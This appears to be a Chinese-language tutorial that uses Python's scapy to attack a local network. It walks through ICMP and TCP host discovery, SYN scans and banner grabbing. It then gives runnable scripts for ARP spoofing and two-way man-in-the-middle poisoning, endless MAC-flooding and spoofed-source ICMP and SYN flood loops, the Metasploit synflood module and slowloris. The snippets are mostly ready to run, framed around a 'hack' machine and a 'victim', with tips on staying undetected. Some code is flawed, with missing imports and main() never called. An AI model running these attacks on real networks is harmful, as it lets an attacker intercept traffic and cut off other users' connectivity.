在Linux中使用pycharm进行接下来的操作,以便帮我们实现网络底层功能
去pycharm官网下载pycharm的Linux版本
https://www.jetbrains.com/pycharm/download/#section=linux
将pycharm的压缩包放在/root目录下,解压tar -zxvf pycharm-community-2022.1.tar.gz
,进入bin目录并打开命令行,输入./pycharm.sh
启动pycharm
所有的操作和Windows没有区别,去settings中安装scapy
包
最好把网络环境换成同一个网段
scapy可以在命令行中直接输入scapy
开启一个测试命令行
构造数据包
构造OSI第三层(网络层)数据包ping向目标
ip=IP(dst="192.168.223.153") ip //显示数据包
构造OSI第二层(数据链路层)的广播数据包
Ether(dst="ff:ff:ff:ff:ff:ff")
发送数据包
构造IP类ping包向192.168.223.153发送ICMP协议的数据包
send(IP(dst="192.168.223.153")/ICMP())
只发不收
向192.168.223.153发送数据包并随意填写数据
IP(dst="192.168.223.153")/fuzz(TCP())
发送后开始监听以接收回包,接收不到会一直监听
sr(IP(dst="192.168.223.153")/ICMP())
接收回包的函数:sr,sr1,srp
构造IP类ping包基于TCP进行syn半开放扫描针对192.168.223.153的80端口
sr1(IP(dst="192.168.223.153")/TCP(dport=80,flags="S"))
安装python的python-whois包
from whois import whois def main(): # 请求百度域名的信息 data = whois("www.baidu.com") # 直接使用python进行域名解析 ip = socket.gethostbyname("www.baidu.com") if __name__ == '__main__': main()
法一:通过随机端口、icmp进程id以及包数用来伪装以进行icmp扫描
from scapy.all import * from random import randint def main(): # 随机扫描一个端口 ip_id = randint(1, 65535) # icmp的进程ID icmp_id = randint(1, 65535) # ping到第几个包 icmp_seq = randint(1, 65535) # ttl:time_to_life,每过一台路由器,ttl值-1;最后随便加个字符 packet = IP(dst="192.168.223.233", ttl=64, id=ip_id) / ICMP(id=icmp_id, seq=icmp_seq) / b'rootkit' # verbose:是否输出详细信息 result = sr1(packet, timeout=1, verbose=False) # 如果IP不存在就没有回包,result里面就没有数据 if result: for rcv in result: # 将扫描对象的IP输出 scan_ip = rcv[IP].src print(scan_ip + " is alive") else: print("is down") if __name__ == '__main__': main()
法二:不添加参数的简单的ICMP扫描
from scapy.all import * def main(): # 构造一个基于IP的ICMP数据包,并使用sr有去有回输出到ans和uans,但重要数据都在ans中 ans,uans = sr(IP(dst="192.168.223.153")/ICMP()) # 对ans收到两个参数通过send和receive接收 for snd,rcv in ans: # 打印接收的IP地址 print(rcv.sprintf("%IP.src% is alive now")) if __name__ == '__main__': main()
from scapy.all import * from random import randint import time def main(): ip = "192.168.223.153" dport = randint(1, 65535) packet = IP(dst=ip) / TCP(flags="A", dport=dport) response = sr1(packet, timeout=1.0, verbose=0) if response: # RST标志位 if int(response[TCP].flags) == 4: time.sleep(0.5) print(ip + " is up") else: print(ip + " is down") else: print(ip + " is down")
def main(): ip = "192.168.223.153" ans, uans = sr(IP(dst=ip) / UDP(dport=80)) for snd, rcv in ans: print(rcv.sprintf("%IP.src% is up"))
建立TCP三次握手:给目标发送SYN请求,返回SYN+ACK,收到后返回主机ACK才能成功TCP连接
利用完整的TCP三次握手实现端口扫描,容易防火墙被记录
def main(): ip = '192.168.223.153' port = 80 # 给用户发送syn请求,基于IP和TCP的,源端口为12345,端口为选中的端口,发送syn请求 packet = IP(dst=ip) / TCP(sport=12345, dport=port, flags="S") # 让数据包有来有回,如果20s没有回复就当die了 resp = sr1(packet, timeout=20) # 如果回包什么都没有,意味主机死亡 if str(type(resp)) == "<type 'NoneType'>": print("port %s is closed" % port) # 如果有回复,判断内容 elif resp.haslayer(TCP): # 如果内容头部是0x12(允许连接) if resp.getlayer(TCP).flags == 0x12: # 收到回复,发送ack回包,之后判断是open send_rst = sr(IP(dst=ip) / TCP(sport=12345, dport=port, flags="AR"), timeout=20) print("port %s is open" % port) # 如果头部是0x14(拒绝连接),判断是down elif resp.getlayer(TCP).flags == 0x14: print("port %s is down" % port)
TCP全开放扫描会被防火墙记录且最后一次握手没有用到,在目标返回SYN+ACK的时候就已经完成探测目的,没必要三次握手
def main(): ip = '192.168.223.153' port = 80 packet = IP(dst=ip) / TCP(sport=12345, dport=port, flags="S") resp = sr1(packet, timeout=20) if str(type(resp)) == "<type 'NoneType'>": print("port %s is closed" % port) elif resp.haslayer(TCP): if resp.getlayer(TCP).flags == 0x12: # 只需要将flags改成R,也就是回包就行,不需要ACK+SYN send_rst = sr(IP(dst=ip) / TCP(sport=12345, dport=port, flags="R"), timeout=20) print("port %s is open" % port) elif resp.getlayer(TCP).flags == 0x14: print("port %s is down" % port)
不知道开放的端口的作用,但可以直接对他进行socket(套接字)连接
from scapy.all import * def main(): ip = '192.168.223.153' port = 3306 s = socket.socket() s.connect((ip,port)) # 随便发送一个数据 s.send('Hello'.encode()) # 接收对方回包的banner banner = s.recv(1024) s.close() # 对接收的数据进行格式化输出 print("banner is {}".format(banner))
以MySQL为例,会返回MySQL的banner,但是部分端口并不能返回
选择网卡、目标IP和自己的网关IP,将自己伪装成网关进行欺骗
arpspoof -i eth0 -t 192.168.223.158 192.168.223.1 # 通过ifconfig查看自己的网卡
此时目标前往网关的流量都从kali走,没有设置流量从kali到网关,对方会断网
from scapy.all import * import time def main(): gatewayIP = '192.168.223.1' victimIP = '192.168.223.153' hackMAC = '00:0c:29:c6:a9:5d' victimMAC = '00:0c:29:d6:ba:55' # 通过IP获得受害主机的MAC地址 # print(getmacbyip('192.168.223.153')) packet = Ether()/ARP(psrc=gatewayIP,pdst=victimIP) while 1: sendp(packet) time.sleep(2) print(packet.show())
数据包分析
###[ Ethernet ]### dst = 00:0c:29:d6:ba:55 ---victim src = 00:0c:29:c6:a9:5d ---hack type = ARP ###[ ARP ]### hwtype = 0x1 ptype = IPv4 hwlen = None plen = None op = who-has hwsrc = 00:0c:29:c6:a9:5d ---hack psrc = 192.168.223.1 ---gatewayIP hwdst = 00:00:00:00:00:00 pdst = 192.168.223.153 None
op=1:说明这是一次arp请求
hwsrc、psrc:发送方MAC和IP地址,伪造成hack和网关
hwdst、pdst:报文接收方的MAC和IP地址
打开Linux的数据转发功能
echo 1 >> /proc/sys/net/ipv4/ip_forward
目标数据包将从黑客服务器走,如果不转发出去对方就断网了,就会发现被攻击
arpspoof -i eth0 -t 192.168.223.153 192.168.223.1 arpspoof -i eth0 -t 192.168.223.1 192.168.223.153
此时目标流量从黑客走,黑客转发给网关,同时网关将流量发给黑客,黑客再转发给目标,实现双向毒化
from scapy.all import * import time def main(): gatewayIP = '192.168.223.1' victimIP = '192.168.223.153' hackMAC = '00:0c:29:c6:a9:5d' victimMAC = '00:0c:29:d6:ba:55' gatewayMAC = '00:50:56:c0:00:08' # 获取网关MAC地址 # print(getmacbyip('192.168.223.1')) # 从hack前往目标的流量在ARP包中让前往网关流量往hack走,op表示is-at,说明这是一次arp响应 packet1 = Ether(src=hackMAC, dst=victimMAC) / ARP(hwsrc=hackMAC, hwdst=victimMAC, psrc=gatewayIP, pdst=victimIP,op=2) # # 从hack前往网关的流量在硬件层面被伪装成从目标到网关的流量,op表示is-at,说明这是一次arp响应 packet2 = Ether(src=hackMAC, dst=gatewayMAC) / ARP(hwsrc=hackMAC, hwdst=gatewayMAC, psrc=victimIP, pdst=gatewayIP,op=2) while 1: sendp(packet1, iface="eth0", verbose=False) sendp(packet2, iface="eth0", verbose=False) time.sleep(1) print(packet1.show()) print(packet2.show())
op=2:说明这是一次arp响应
hwsrc、psrc:发送方MAC和IP地址,伪造成hack和网关
hwdst、pdst:报文接收方的MAC和IP地址
数据包分析
###[ Ethernet ]### dst = 00:0c:29:d6:ba:55 ---victim src = 00:0c:29:c6:a9:5d ---hack type = ARP ###[ ARP ]### hwtype = 0x1 ptype = IPv4 hwlen = None plen = None op = is-at hwsrc = 00:0c:29:c6:a9:5d ---hackmac psrc = 192.168.223.1 ---gatewayIP hwdst = 00:0c:29:d6:ba:55 pdst = 192.168.223.153 None ###[ Ethernet ]### dst = 00:50:56:c0:00:08 ---gateway src = 00:0c:29:c6:a9:5d ---hack type = ARP ###[ ARP ]### hwtype = 0x1 ptype = IPv4 hwlen = None plen = None op = is-at hwsrc = 00:0c:29:c6:a9:5d ---hackmac psrc = 192.168.223.153 ---victimIP hwdst = 00:50:56:c0:00:08 pdst = 192.168.223.1 None
OSI二层:需要进行交换机传输数据,交换机身上有MAC地址表,使得三层的IP地址和二层的MAC地址一一对应,同时为了转发数据,也会对应交换机的不同网卡接口,即IP—MAC—网卡接口(eth0)
MAC地址泛洪攻击原理:穷举MAC地址和IP地址导致交换机MAC地址表混乱,使得原有用户无法正常上网
from scapy.all import * import time def main(): while 1: # 在二层随机源和目标的MAC地址,在三层随机源和目标的IP地址,最后以ping包发送 packet = Ether(src=RandMAC(),dst=RandMAC())/IP(src=RandIP(),dst=RandIP())/ICMP() time.sleep(0.5) sendp(packet) print(packet.summary())
from scapy.all import * import time def main(): while 1: # 直接走二层协议 packet = Ether(src=RandMAC(),dst=RandMAC()) time.sleep(0.5) sendp(packet) print(packet.summary())
from scapy.all import * import time def main(): while 1: # 直接走三层协议 packet = IP(src=RandIP(),dst=RandIP())/ICMP() time.sleep(0.5) sendp(packet) print(packet.summary())
from scapy.all import * import time from random import randint def main(): while 1: pdst = "%i.%i.%i.%i"%(randint(1,254),randint(1,254),randint(1,254),randint(1,254)) psrc = "192.168.82.99" send(IP(src=psrc,dst=pdst)/ICMP()) time.sleep(0.5)
从内网一个不存在的地址ping向公网某个IP,当公网进行回复时路由器收到数据包向内网这个不存在的IP发送数据包,但无法收到,造成路由器拥塞
除了ICMP的ping包,也可以
1.客户端对服务器发送syn请求(seq=x),进入syn_send状态
3.当客户端收到服务器syn,回ack(ack=y+1),进入establish状态
from scapy.all import * import time from random import randint def main(): while 1: pdst = "%i.%i.%i.%i" % (randint(1, 254), randint(1, 254), randint(1, 254), randint(1, 254)) psrc = "192.168.82.99" send(IP(src=psrc, dst=pdst) / TCP(dport=80, flags="S")) time.sleep(0.5)
msfconsole use auxiliary/dos/tcp/synflood # 根据options进行设置 show options exploit
原理:发送head长度和数据body的长度不一致时,对方网站就会等传输完毕,此时直接不管就可以一直耗对方服务器资源
pip install slowloris slowloris [目标IP] -s 1500